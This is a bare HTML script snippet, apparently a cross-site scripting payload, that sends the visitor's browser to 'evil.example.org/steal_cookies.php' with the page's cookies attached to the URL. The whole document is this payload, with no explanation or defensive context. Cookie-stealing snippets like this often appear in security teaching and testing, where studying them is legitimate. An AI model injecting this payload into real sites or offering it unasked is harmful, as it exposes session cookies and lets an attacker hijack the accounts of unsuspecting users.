<script>
document.location =
'http://evil.example.org/steal_cookies.php?cookies=' +
document.cookie
</script>